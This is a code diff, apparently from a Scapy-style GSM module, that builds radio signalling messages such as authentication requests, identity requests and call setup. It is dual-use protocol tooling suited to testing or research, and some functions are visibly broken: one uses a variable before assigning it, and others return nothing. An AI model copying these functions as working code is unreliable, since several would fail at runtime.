+    a = L2PseudoLength(l2pLength=0x00)
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x0)  # 00000000
+    d = Si13RestOctets()
+    packet = a / b / c / d
+    return packet
+#
+# 9.1.43b / c spare
+#
+
+
+# The L2 pseudo length of this message has the value 1
+# Network to MS
+def systemInformationType16():
+    """SYSTEM INFORMATION TYPE 16 Section 9.1.43d"""
+    a = L2PseudoLength(l2pLength=0x01)
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x3d)  # 00111101
+    d = Si16RestOctets()
+    packet = a / b / c / d
+    return packet
+
+
+# The L2 pseudo length of this message has the value 1
+# Network to MS
+def systemInformationType17():
+    """SYSTEM INFORMATION TYPE 17 Section 9.1.43e"""
+    a = L2PseudoLength(l2pLength=0x01)
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x3e)  # 00111110
+    d = Si17RestOctets()
+    packet = a / b / c / d
+    return packet
+
+
+def talkerIndication():
+    """TALKER INDICATION Section 9.1.44"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x11)  # 00010001
+    c = MobileStationClassmark2()
+    d = MobileId()
+    packet = a / b / c / d
+    return packet
+
+
+class UplinkAccess():
+    """UPLINK ACCESS Section 9.1.45"""
+    name = "Uplink Access"
+    fields_desc = [
+             ByteField("establishment", 0x0)
+             ]
+
+
+# Network to MS
+def uplinkBusy():
+    """UPLINK BUSY Section 9.1.46"""
+    name = "Uplink Busy"
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x2a)  # 00101010
+    packet = a / b
+    return packet
+
+
+# Network to MS
+class UplinkFree():
+    """UPLINK FREE Section 9.1.47"""
+    name = "Uplink Free"
+    fields_desc = [
+             BitField("pd", 0x0, 1),
+             BitField("msgType", 0x0, 5),
+             BitField("layer2Header", 0x0, 2),
+             BitField("uplinkAccess", 0x0, 1),
+             BitField("lOrH", 0x0, 1),  # 0 for L, 1 for H
+             BitField("upIdCode", 0x0, 6),
+             ]
+
+
+def uplinkRelease():
+    """UPLINK RELEASE Section 9.1.48"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0xe)  # 00001110
+    c = RrCause()
+    packet = a / b / c
+    return packet
+
+
+# Network to MS
+def vgcsUplinkGrant():
+    """VGCS UPLINK GRANT Section 9.1.49"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x9)  # 00001001
+    c = RrCause()
+    d = RequestReference()
+    e = TimingAdvance()
+    packet = a / b / c / d / e
+    return packet
+
+
+# Network to MS
+def systemInformationType10():
+    """SYSTEM INFORMATION TYPE 10 Section 9.1.50"""
+    name = "SyStem Information Type 10"
+    fields_desc = [
+             BitField("pd", 0x0, 1),
+             BitField("msgType", 0x0, 5),
+             BitField("layer2Header", 0x0, 2),
+             BitField("si10", 0x0, 160)
+             ]
+
+
+# Network to MS
+# The L2 pseudo length of this message has the value 18
+def extendedMeasurementOrder():
+    """EXTENDED MEASUREMENT ORDER Section 9.1.51"""
+    a = L2PseudoLength(l2pLength=0x12)
+    b = TpPd(pd=0x6)
+    c = MessageType(mesType=0x37)  # 00110111
+    d = ExtendedMeasurementFrequencyList()
+    packet = a / b / c / d
+    return packet
+
+
+def extendedMeasurementReport():
+    """EXTENDED MEASUREMENT REPORT Section 9.1.52"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x36)  # 00110110
+    c = ExtendedMeasurementResults()
+    packet = a / b / c
+    return packet
+
+
+def applicationInformation():
+    """APPLICATION INFORMATION Section 9.1.53"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x38)  # 00111000
+    c = ApduIDAndApduFlags()
+    e = ApduData()
+    packet = a / b / c / e
+    return packet
+#
+# 9.2 Messages for mobility management
+#
+
+
+# Network to MS
+def authenticationReject():
+    """AUTHENTICATION REJECT Section 9.2.1"""
+    a = TpPd(pd=0x5)
+    b = MessageType(mesType=0x11)  # 00010001
+    packet = a / b
+    return packet
+
+
+# Network to MS
+def authenticationRequest():
+    """AUTHENTICATION REQUEST Section 9.2.2"""
+    a = TpPd(pd=0x5)
+    b = MessageType(mesType=0x12)  # 00010010
+    c = CiphKeySeqNrAndSpareHalfOctets()
+    d = AuthenticationParameterRAND()
+    packet = a / b / c / d
+    return packet
+
+
+def authenticationResponse():
+    """AUTHENTICATION RESPONSE Section 9.2.3"""
+    a = TpPd(pd=0x5)
+    b = MessageType(mesType=0x14)  # 00010100
+    c = AuthenticationParameterSRES()
+    packet = a / b / c
+    return packet
+
+
+def cmReestablishmentRequest(LocalAreaId_presence=0):
+    """CM RE-ESTABLISHMENT REQUEST Section 9.2.4"""
+    a = TpPd(pd=0x5)
+    b = MessageType(mesType=0x28)  # 00101000
+    c = CiphKeySeqNrAndSpareHalfOctets()
+    e = MobileStationClassmark2()
+    f = MobileId()
+    if LocalAreaId_presence is 1:
+        g = LocalAreaId(iei=0x13, eightbit=0x0)
+        packet = packet / g
+    packet = a / b / c / e / f
+    return packet
+
+
+# Network to MS
+def cmServiceAccept():
+    """CM SERVICE ACCEPT Section 9.2.5"""
+    a = TpPd(pd=0x5)
+    b = MessageType(mesType=0x21)  # 00100001
+    packet = a / b
+    return packet
+
+
+# Network to MS
+def cmServicePrompt():
+    """CM SERVICE PROMPT Section 9.2.5a"""
+    a = TpPd(pd=0x5)
+    b = MessageType(mesType=0x25)  # 00100101
+    c = PdAndSapi()
+    packet = a / b / c
+    return packet
+
+
+# Network to MS
+def cmServiceReject():
+    """CM SERVICE REJECT Section 9.2.6"""
+    a = TpPd(pd=0x5)
+    b = MessageType(mesType=0x22)  # 00100010
+    c = RejectCause()
+    packet = a / b / c
+    return packet
+
+
+def cmServiceAbort():
+    """CM SERVICE ABORT Section 9.2.7"""
+    a = TpPd(pd=0x5)
+    b = MessageType(mesType=0x23)  # 00100011
+    packet = a / b
+    return packet
+
+
+# Network to MS
+def abort():
+    """ABORT Section 9.2.8"""
+    a = TpPd(pd=0x5)
+    b = MessageType(mesType=0x29)  # 00101001
+    c = RejectCause()
+    packet = a / b / c
+    return packet
+
+
+def cmServiceRequest(PriorityLevel_presence=0):
+    """CM SERVICE REQUEST Section 9.2.9"""
+    a = TpPd(pd=0x5)
+    b = MessageType(mesType=0x24)  # 00100100
+    c = CmServiceTypeAndCiphKeySeqNr()
+    e = MobileStationClassmark2()
+    f = MobileId()
+    packet = a / b / c / e / f
+    if PriorityLevel_presence is 1:
+        g = PriorityLevelHdr(ieiPL=0x8, eightBitPL=0x0)
+        packet = packet / g
+    return packet
+
+
+# Network to MS
+def identityRequest():
+    """IDENTITY REQUEST Section 9.2.10"""
+    a = TpPd(pd=0x5)
+    b = MessageType(mesType=0x8)  # 00001000
+    c = IdentityTypeAndSpareHalfOctets()
+    packet = a / b / c
+    return packet
+
+
+def identityResponse():
+    """IDENTITY RESPONSE Section 9.2.11"""
+    a = TpPd(pd=0x5)
+    b = MessageType(mesType=0x9)  # 00001001
+    c = MobileId()
+    packet = a / b / c
+    return packet
+
+
+def imsiDetachIndication():
+    """IMSI DETACH INDICATION Section 9.2.12"""
+    a = TpPd(pd=0x5)
+    b = MessageType(mesType=0x1)  # 00000001
+    c = MobileStationClassmark1()
+    d = MobileId()
+    packet = a / b / c / d
+    return packet
+
+
+# Network to MS
+def locationUpdatingAccept(MobileId_presence=0,
+                           FollowOnProceed_presence=0,
+                           CtsPermission_presence=0):
+    """LOCATION UPDATING ACCEPT Section 9.2.13"""
+    a = TpPd(pd=0x5)
+    b = MessageType(mesType=0x02)  # 00000010
+    c = LocalAreaId()
+    packet = a / b / c
+    if MobileId_presence is 1:
+        d = MobileIdHdr(ieiMI=0x17, eightBitMI=0x0)
+        packet = packet / d
+    if FollowOnProceed_presence is 1:
+        e = FollowOnProceed(ieiFOP=0xA1)
+        packet = packet / e
+    if CtsPermission_presence is 1:
+        f = CtsPermissionHdr(ieiCP=0xA2, eightBitCP=0x0)
+        packet = packet / f
+    return packet
+
+
+# Network to MS
+def locationUpdatingReject():
+    """LOCATION UPDATING REJECT Section 9.2.14"""
+    a = TpPd(pd=0x5)
+    b = MessageType(mesType=0x4)  # 0x00000100
+    c = RejectCause()
+    packet = a / b / c
+    return packet
+
+
+def locationUpdatingRequest():
+    """LOCATION UPDATING REQUEST Section 9.2.15"""
+    a = TpPd(pd=0x5)
+    b = MessageType(mesType=0x8)  # 00001000
+    c = LocationUpdatingTypeAndCiphKeySeqNr()
+    e = LocalAreaId()
+    f = MobileStationClassmark1()
+    g = MobileId()
+    packet = a / b / c / e / f / g
+    return packet
+
+
+# Network to MS
+def mmInformation(NetworkName_presence=0, NetworkName_presence1=0,
+                  TimeZone_presence=0, TimeZoneAndTime_presence=0,
+                  LsaIdentifier_presence=0):
+    """MM INFORMATION Section 9.2.15a"""
+    a = TpPd(pd=0x5)
+    b = MessageType(mesType=0x32)  # 00110010
+    packet = a / b
+    if NetworkName_presence is 1:
+        c = NetworkNameHdr(ieiNN=0x43, eightBitNN=0x0)
+        packet = packet / c
+    if NetworkName_presence1 is 1:
+        d = NetworkNameHdr(ieiNN=0x45, eightBitNN=0x0)
+        packet = packet / d
+    if TimeZone_presence is 1:
+        e = TimeZoneHdr(ieiTZ=0x46, eightBitTZ=0x0)
+        packet = packet / e
+    if TimeZoneAndTime_presence is 1:
+        f = TimeZoneAndTimeHdr(ieiTZAT=0x47, eightBitTZAT=0x0)
+        packet = packet / f
+    if LsaIdentifier_presence is 1:
+        g = LsaIdentifierHdr(ieiLI=0x48, eightBitLI=0x0)
+        packet = packet / g
+    return packet
+
+
+def mmStatus():
+    """MM STATUS Section 9.2.16"""
+    a = TpPd(pd=0x5)
+    b = MessageType(mesType=0x31)  # 00110001
+    c = RejectCause()
+    packet = a / b / c
+    return packet
+
+
+# Network to MS
+def tmsiReallocationCommand():
+    """TMSI REALLOCATION COMMAND Section 9.2.17"""
+    a = TpPd(pd=0x5)
+    b = MessageType(mesType=0x1a)  # 00011010
+    c = LocalAreaId()
+    d = MobileId()
+    packet = a / b / c / d
+    return packet
+
+
+def tmsiReallocationComplete():
+    """TMSI REALLOCATION COMPLETE Section 9.2.18"""
+    a = TpPd(pd=0x5)
+    b = MessageType(mesType=0x1b)  # 00011011
+    packet = a / b
+    return packet
+
+
+def mmNull():
+    """MM NULL Section 9.2.19"""
+    a = TpPd(pd=0x5)
+    b = MessageType(mesType=0x30)  # 00110000
+    packet = a / b
+    return packet
+
+#
+# 9.3 Messages for circuit-switched call control
+#
+
+
+# Network to MS
+def alertingNetToMs(Facility_presence=0, ProgressIndicator_presence=0,
+                    UserUser_presence=0):
+    """ALERTING Section 9.3.1.1"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x1)  # 00000001
+    packet = a / b
+    if Facility_presence is 1:
+        c = FacilityHdr(ieiF=0x1C)
+        packet = packet / c
+    if ProgressIndicator_presence is 1:
+        d = ProgressIndicatorHdr(ieiPI=0x1E)
+        packet = packet / d
+    if UserUser_presence is 1:
+        e = UserUserHdr(ieiUU=0x7E)
+        packet = packet / e
+    return packet
+
+
+def alertingMsToNet(Facility_presence=0, UserUser_presence=0,
+                    SsVersionIndicator_presence=0):
+    """ALERTING Section 9.3.1.2"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x1)  # 00000001
+    packet = a / b
+    if Facility_presence is 1:
+        c = FacilityHdr(ieiF=0x1C, eightBitF=0x0)
+        packet = packet / c
+    if UserUser_presence is 1:
+        d = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0)
+        packet = packet / d
+    if SsVersionIndicator_presence is 1:
+        e = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0)
+        packet = packet / e
+    return packet
+
+
+def callConfirmed(RepeatIndicator_presence=0,
+                  BearerCapability_presence=0, BearerCapability_presence1=0,
+                  Cause_presence=0, CallControlCapabilities_presence=0):
+    """CALL CONFIRMED Section 9.3.2"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x8)  # 00001000
+    packet = a / b
+    if RepeatIndicator_presence is 1:
+        c = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0)
+        packet = packet / c
+    if BearerCapability_presence is 1:
+        d = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0)
+        packet = packet / d
+    if BearerCapability_presence1 is 1:
+        e = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0)
+        packet = packet / e
+    if Cause_presence is 1:
+        f = CauseHdr(ieiC=0x08, eightBitC=0x0)
+        packet = packet / f
+    if CallControlCapabilities_presence is 1:
+        g = CallControlCapabilitiesHdr(ieiCCC=0x15, eightBitCCC=0x0)
+        packet = packet / g
+    return packet
+
+
+# Network to MS
+def callProceeding(RepeatIndicator_presence=0,
+                   BearerCapability_presence=0,
+                   BearerCapability_presence1=0,
+                   Facility_presence=0, ProgressIndicator_presence=0,
+                   PriorityLevel_presence=0):
+    """CALL PROCEEDING Section 9.3.3"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x2)  # 00000010
+    packet = a / b
+    if RepeatIndicator_presence is 1:
+        c = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0)
+        packet = packet / c
+    if BearerCapability_presence is 1:
+        d = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0)
+        packet = packet / d
+    if BearerCapability_presence1 is 1:
+        e = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0)
+        packet = packet / e
+    if Facility_presence is 1:
+        f = FacilityHdr(ieiF=0x1C, eightBitF=0x0)
+        packet = packet / f
+    if ProgressIndicator_presence is 1:
+        g = ProgressIndicatorHdr(ieiPI=0x1E, eightBitPI=0x0)
+        packet = packet / g
+    if PriorityLevel_presence is 1:
+        h = PriorityLevelHdr(ieiPL=0x80, eightBitPL=0x0)
+        packet = packet / h
+    return packet
+
+
+# Network to MS
+def congestionControl(Cause_presence=0):
+    """CONGESTION CONTROL Section 9.3.4"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x39)  # 00111001
+    c = CongestionLevelAndSpareHalfOctets()
+    packet = a / b / c
+    if Cause_presence is 1:
+        e = CauseHdr(ieiC=0x08, eightBitC=0x0)
+        packet = packet / e
+    return packet
+
+
+# Network to MS
+def connectNetToMs(Facility_presence=0, ProgressIndicator_presence=0,
+                   ConnectedNumber_presence=0, ConnectedSubaddress_presence=0,
+                   UserUser_presence=0):
+    """CONNECT Section 9.3.5.1"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x7)  # 00000111
+    packet = a / b
+    if Facility_presence is 1:
+        c = FacilityHdr(ieiF=0x1C, eightBitF=0x0)
+        packet = packet / c
+    if ProgressIndicator_presence is 1:
+        d = ProgressIndicatorHdr(ieiPI=0x1E, eightBitPI=0x0)
+        packet = packet / d
+    if ConnectedNumber_presence is 1:
+        e = ConnectedNumberHdr(ieiCN=0x4C, eightBitCN=0x0)
+        packet = packet / e
+    if ConnectedSubaddress_presence is 1:
+        f = ConnectedSubaddressHdr(ieiCS=0x4D, eightBitCS=0x0)
+        packet = packet / f
+    if UserUser_presence is 1:
+        g = UserUserHdr(ieiUU=0x7F, eightBitUU=0x0)
+        packet = packet / g
+    return packet
+
+
+def connectMsToNet(Facility_presence=0, ConnectedSubaddress_presence=0,
+                   UserUser_presence=0, SsVersionIndicator_presence=0):
+    """CONNECT Section 9.3.5.2"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x7)  # 00000111
+    packet = a / b
+    if Facility_presence is 1:
+        c = FacilityHdr(ieiF=0x1C, eightBitF=0x0)
+        packet = packet / c
+    if ConnectedSubaddress_presence is 1:
+        d = ConnectedSubaddressHdr(ieiCS=0x4D, eightBitCS=0x0)
+        packet = packet / d
+    if UserUser_presence is 1:
+        e = UserUserHdr(ieiUU=0x7F, eightBitUU=0x0)
+        packet = packet / e
+    if SsVersionIndicator_presence is 1:
+        f = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0)
+        packet = packet / f
+    return packet
+
+
+def connectAcknowledge():
+    """CONNECT ACKNOWLEDGE Section 9.3.6"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0xf)  # 00001111
+    packet = a / b
+    return packet
+
+
+# Network to MS
+def disconnectNetToMs(Facility_presence=0, ProgressIndicator_presence=0,
+                      UserUser_presence=0, AllowedActions_presence=0):
+    """DISCONNECT Section 9.3.7.1"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x25)  # 00100101
+    c = Cause()
+    packet = a / b / c
+    if Facility_presence is 1:
+        d = FacilityHdr(ieiF=0x1C, eightBitF=0x0)
+        packet = packet / d
+    if ProgressIndicator_presence is 1:
+        e = ProgressIndicatorHdr(ieiPI=0x1E, eightBitPI=0x0)
+        packet = packet / e
+    if UserUser_presence is 1:
+        f = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0)
+        packet = packet / f
+    if AllowedActions_presence is 1:
+        g = AllowedActionsHdr(ieiAA=0x7B, eightBitAA=0x0)
+        packet = packet / g
+    return packet
+
+
+def disconnectMsToNet(Facility_presence=0, UserUser_presence=0,
+                      SsVersionIndicator_presence=0):
+    """Disconnect Section 9.3.7.2"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x25)  # 00100101
+    c = Cause()
+    packet = a / b / c
+    if Facility_presence is 1:
+        d = FacilityHdr(ieiF=0x1C, eightBitF=0x0)
+        packet = packet / d
+    if UserUser_presence is 1:
+        e = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0)
+        packet = packet / e
+    if SsVersionIndicator_presence is 1:
+        f = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0)
+        packet = packet / f
+    return packet
+
+
+def emergencySetup(BearerCapability_presence=0):
+    """EMERGENCY SETUP Section 9.3.8"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0xe)  # 00001110
+    packet = a / b
+    if BearerCapability_presence is 1:
+        c = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0)
+        packet = packet / c
+    return packet
+
+
+# Network to MS
+def facilityNetToMs():
+    """FACILITY Section 9.3.9.1"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x3a)  # 00111010
+    c = Facility()
+    packet = a / b / c
+    return packet
+
+
+def facilityMsToNet(SsVersionIndicator_presence=0):
+    """FACILITY Section 9.3.9.2"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x3a)  # 00111010
+    c = Facility()
+    packet = a / b / c
+    if SsVersionIndicator_presence is 1:
+        d = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0)
+        packet = packet / d
+    return packet
+
+
+def hold():
+    """HOLD Section 9.3.10"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x18)  # 00011000
+    packet = a / b
+    return packet
+
+
+# Network to MS
+def holdAcknowledge():
+    """HOLD ACKNOWLEDGE Section 9.3.11"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x19)  # 00011001
+    packet = a / b
+    return packet
+
+
+# Network to MS
+def holdReject():
+    """HOLD REJECT Section 9.3.12"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x1a)  # 00011010
+    c = Cause()
+    packet = a / b / c
+    return packet
+
+
+def modify(LowLayerCompatibility_presence=0,
+           HighLayerCompatibility_presence=0,
+           ReverseCallSetupDirection_presence=0):
+    """MODIFY Section 9.3.13"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x17)  # 00010111
+    c = BearerCapability()
+    packet = a / b / c
+    if LowLayerCompatibility_presence is 1:
+        d = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0)
+        packet = packet / d
+    if HighLayerCompatibility_presence is 1:
+        e = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0)
+        packet = packet / e
+    if ReverseCallSetupDirection_presence is 1:
+        f = ReverseCallSetupDirectionHdr(ieiRCSD=0xA3)
+        packet = packet / f
+    return packet
+
+
+def modifyComplete(LowLayerCompatibility_presence=0,
+                   HighLayerCompatibility_presence=0,
+                   ReverseCallSetupDirection_presence=0):
+    """MODIFY COMPLETE Section 9.3.14"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x1f)  # 00011111
+    c = BearerCapability()
+    packet = a / b / c
+    if LowLayerCompatibility_presence is 1:
+        d = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0)
+        packet = packet / d
+    if HighLayerCompatibility_presence is 1:
+        e = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0)
+        packet = packet / e
+    if ReverseCallSetupDirection_presence is 1:
+        f = ReverseCallSetupDirection(ieiRCSD=0xA3)
+        packet = packet / f
+    return packet
+
+
+def modifyReject(LowLayerCompatibility_presence=0,
+                 HighLayerCompatibility_presence=0):
+    """MODIFY REJECT Section 9.3.15"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x13)  # 00010011
+    c = BearerCapability()
+    d = Cause()
+    packet = a / b / c / d
+    if LowLayerCompatibility_presence is 1:
+        e = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0)
+        packet = packet / e
+    if HighLayerCompatibility_presence is 1:
+        f = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0)
+        packet = packet / f
+    return packet
+
+
+def notify():
+    """NOTIFY Section 9.3.16"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x3e)  # 00111110
+    c = NotificationIndicator()
+    packet = a / b / c
+    return packet
+
+
+# Network to MS
+def progress(UserUser_presence=0):
+    """PROGRESS Section 9.3.17"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x3)  # 00000011
+    c = ProgressIndicator()
+    packet = a / b / c
+    if UserUser_presence is 1:
+        d = UserUserHdr()
+        packet = packet / d
+    return packet
+
+
+# Network to MS
+def ccEstablishment():
+    """CC-ESTABLISHMENT Section 9.3.17a"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x4)  # 00000100
+    c = SetupContainer()
+    packet = a / b / c
+    return packet
+
+
+def ccEstablishmentConfirmed(RepeatIndicator_presence=0,
+                             BearerCapability_presence=0,
+                             BearerCapability_presence1=0,
+                             Cause_presence=0):
+    """CC-ESTABLISHMENT CONFIRMED Section 9.3.17b"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x6)  # 00000110
+    packet = a / b
+    if RepeatIndicator_presence is 1:
+        c = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0)
+        packet = packet / c
+    if BearerCapability_presence is 1:
+        d = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0)
+        packet = packet / d
+    if BearerCapability_presence1 is 1:
+        e = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0)
+        packet = packet / e
+    if Cause_presence is 1:
+        f = CauseHdr(ieiC=0x08, eightBitC=0x0)
+        packet = packet / f
+    return packet
+
+
+# Network to MS
+def releaseNetToMs():
+    """RELEASE Section 9.3.18.1"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x2d)  # 00101101
+    c = CauseHdr(ieiC=0x08, eightBitC=0x0)
+    d = CauseHdr(ieiC=0x08, eightBitC=0x0)
+    e = FacilityHdr(ieiF=0x1C, eightBitF=0x0)
+    f = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0)
+    packet = a / b / c / d / e / f
+    return packet
+
+
+def releaseMsToNet(Cause_presence=0, Cause_presence1=0,
+                   Facility_presence=0, UserUser_presence=0,
+                   SsVersionIndicator_presence=0):
+    """RELEASE Section 9.3.18.2"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x2d)  # 00101101
+    packet = a / b
+    if Cause_presence is 1:
+        c = CauseHdr(ieiC=0x08, eightBitC=0x0)
+        packet = packet / c
+    if Cause_presence1 is 1:
+        d = CauseHdr(ieiC=0x08, eightBitC=0x0)
+        packet = packet / d
+    if Facility_presence is 1:
+        e = FacilityHdr(ieiF=0x1C, eightBitF=0x0)
+        packet = packet / e
+    if UserUser_presence is 1:
+        f = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0)
+        packet = packet / f
+    if SsVersionIndicator_presence is 1:
+        g = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0)
+        packet = packet / g
+    return packet
+
+
+# Network to MS
+def recall():
+    """RECALL Section 9.3.18a"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0xb)  # 00001011
+    c = RecallType()
+    d = Facility()
+    packet = a / b / c / d
+    return packet
+
+
+# Network to MS
+def releaseCompleteNetToMs(Cause_presence=0, Facility_presence=0,
+                           UserUser_presence=0):
+    """RELEASE COMPLETE Section 9.3.19.1"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x2a)  # 00101010
+    packet = a / b
+    if Cause_presence is 1:
+        c = CauseHdr(ieiC=0x08, eightBitC=0x0)
+        packet = packet / c
+    if Facility_presence is 1:
+        d = FacilityHdr(ieiF=0x1C, eightBitF=0x0)
+        packet = packet / d
+    if UserUser_presence is 1:
+        e = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0)
+        packet = packet / e
+    return packet
+
+
+def releaseCompleteMsToNet(Cause_presence=0, Facility_presence=0,
+                           UserUser_presence=0, SsVersionIndicator_presence=0):
+    """RELEASE COMPLETE Section 9.3.19.2"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x2a)  # 00101010
+    packet = a / b
+    if Cause_presence is 1:
+        c = CauseHdr(ieiC=0x08, eightBitC=0x0)
+        packet = packet / c
+    if Facility_presence is 1:
+        d = FacilityHdr(ieiF=0x1C, eightBitF=0x0)
+        packet = packet / d
+    if UserUser_presence is 1:
+        e = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0)
+        packet = packet / e
+    if SsVersionIndicator_presence is 1:
+        f = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0)
+        packet = packet / f
+    return packet
+
+
+def retrieve():
+    """RETRIEVE Section 9.3.20"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x1c)  # 00011100
+    packet = a / b
+    return packet
+
+
+# Network to MS
+def retrieveAcknowledge():
+    """RETRIEVE ACKNOWLEDGE Section 9.3.21"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x1d)  # 00011101
+    packet = a / b
+    return packet
+
+
+# Network to MS
+def retrieveReject():
+    """RETRIEVE REJECT Section 9.3.22"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x1e)  # 00011110
+    c = Cause()
+    packet = a / b / c
+    return packet
+
+
+# Network to MS
+def setupMobileTerminated(RepeatIndicator_presence=0,
+                          BearerCapability_presence=0,
+                          BearerCapability_presence1=0,
+                          Facility_presence=0, ProgressIndicator_presence=0,
+                          Signal_presence=0,
+                          CallingPartyBcdNumber_presence=0,
+                          CallingPartySubaddress_presence=0,
+                          CalledPartyBcdNumber_presence=0,
+                          CalledPartySubaddress_presence=0,
+#                          RecallType_presence=0,
+                          RedirectingPartyBcdNumber_presence=0,
+                          RedirectingPartySubaddress_presence=0,
+                          RepeatIndicator_presence1=0,
+                          LowLayerCompatibility_presence=0,
+                          LowLayerCompatibility_presence1=0,
+                          RepeatIndicator_presence2=0,
+                          HighLayerCompatibility_presence=0,
+                          HighLayerCompatibility_presence1=0,
+                          UserUser_presence=0, PriorityLevel_presence=0,
+                          AlertingPattern_presence=0):
+    """SETUP Section 9.3.23.1"""
+    a = TpPd(pd=0x3)
+    b = MessageType(mesType=0x5)  # 00000101
+    packet = a / b
+    if RepeatIndicator_presence is 1:
+        c = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0)
+        packet = packet / c
+    if BearerCapability_presence is 1:
+        d = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0)
+        packet = packet / d
+    if BearerCapability_presence1 is 1:
+        e = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0)
+        packet = packet / e
+    if Facility_presence is 1:
+        f = FacilityHdr(ieiF=0x1C, eightBitF=0x0)
+        packet = packet / f
+    if ProgressIndicator_presence is 1:
+        g = ProgressIndicatorHdr(ieiPI=0x1E, eightBitPI=0x0)
+        packet = packet / g
+    if Signal_presence is 1:
+        h = SignalHdr(ieiS=0x34, eightBitS=0x0)
+        packet = packet / h
+    if CallingPartyBcdNumber_presence is 1:
+        i = CallingPartyBcdNumberHdr(ieiCPBN=0x5C, eightBitCPBN=0x0)
+        packet = packet / i
+    if CallingPartySubaddress_presence is 1:
+        j = CallingPartySubaddressHdr(ieiCPS=0x5D, eightBitCPS=0x0)
+        packet = packet / j
+    if CalledPartyBcdNumber_presence is 1:
+        k = CalledPartyBcdNumberHdr(ieiCPBN=0x5E, eightBitCPBN=0x0)
+        packet = packet / k
+    if CalledPartySubaddress_presence is 1:
+        l = CalledPartySubaddressHdr(ieiCPS=0x6D, eightBitCPS=0x0)
+        packet = packet / l
+    if RedirectingPartyBcdNumber_presence is 1:
+        n = RedirectingPartyBcdNumberHdr(ieiRPBN=0x74, eightBitRPBN=0x0)
+        packet = packet / n
+    if RedirectingPartySubaddress_presence is 1:
+        m = RedirectingPartySubaddress_presence(ieiRPBN=0x75, eightBitRPBN=0x0)
+        packet = packet / m
+    if RepeatIndicator_presence1 is 1:
+        o = RepeatIndicatorHdr(ieiRI=0xD0, eightBitRI=0x0)
+        packet = packet / o
+    if LowLayerCompatibility_presence is 1:
+        p = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0)
+        packet = packet / p
+    if LowLayerCompatibility_presence1 is 1:
+        q = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0)
+        packet = packet / q
+    if RepeatIndicator_presence2 is 1:
